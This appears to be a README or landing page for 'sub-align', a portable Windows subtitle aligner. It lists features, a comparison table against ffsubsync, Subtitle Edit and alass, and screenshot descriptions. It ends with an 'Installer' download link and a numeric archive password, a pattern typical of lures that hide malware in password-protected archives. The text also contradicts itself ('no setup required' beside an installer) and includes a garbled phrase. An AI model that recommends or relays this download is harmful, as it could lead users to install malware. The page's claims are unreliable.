🎬 Free, open-source subtitle aligner for Windows — auto-sync SRT and ASS files to any audio track locally. 100 MB portable, offline, MIT.
- ✅ Auto-align by audio — subtitles sync to the actual speech fingerprint, fixing constant offsets and drift
- ✅ Drift correction — a single ratio fix for files that start right and end minutes off
- ✅ SRT, ASS and VTT — all three formats read and written without dash-free hand editing
- ✅ Live preview — scrub a few scenes with the video and watch subtitles land on the beat
- ✅ Batch seasons — an entire season folder aligned overnight against the release version you have
- ✅ Shift presets — manual plus and minus nudges in 100 ms steps for final taste adjust
- ✅ 100 MB self-contained exe — runtime and alignment backend bundled, portable, offline, MIT
- MIT licensed, source in the open
- No ads, no account, no telemetry
- Single portable 100 MB build - no setup required, runs offline
- CI builds every release and publishes SHA-256 checksums
- Windows 10 / 11 x64
| Feature | sub-align | ffsubsync | Subtitle Edit | alass |
|---|---|---|---|---|
| Price | Free, MIT | Free, OSS | Free, OSS | Free, OSS |
| Open source | Yes | Yes | Yes | Yes |
| GUI with live preview | Yes | No | Yes | No |
| One-click auto-align | Yes | Flags needed | Partial | Flags needed |
| Season batch | Yes | Scripted | Partial | Scripted |
| Portable, no install | Yes, 100 MB | Python env | Installer | Binary only |
how to fix out-of-sync subtitles automatically on Windows?
Subtitle Edit covers the manual work but auto-sync still fights you, and the dedicated aligners are command-line tools with unfamiliar flags. sub-align fingerprints the audio, fixes offset and drift in one pass and previews the result in place. It is a 100 MB portable exe, MIT, offline.
All screenshots describe the 1280x800 dark UI.
- Dark player view (#121418, orange #EA580C): video frame with subtitle line timed on screen, offset result card reading plus 2.4 seconds applied, waveform strip below.
- Drift view: sync map plotting subtitle time versus audio match across the film, ratio chip reading 1.00034, apply correction button lit.
- Season batch: 24 episode rows with offset per file, two flagged in amber, progress at 17 of 24, output naming pattern field.
| Source | Link |
|---|---|
| 💾 Installer sub-align | Installer sub-align |
Archive password:
5139237619
Requires the .NET 8 SDK on Windows 10/11 x64:
dotnet publish -c Release -r win-x64 --self-contained -p:PublishSingleFile=true
MIT. See LICENSE.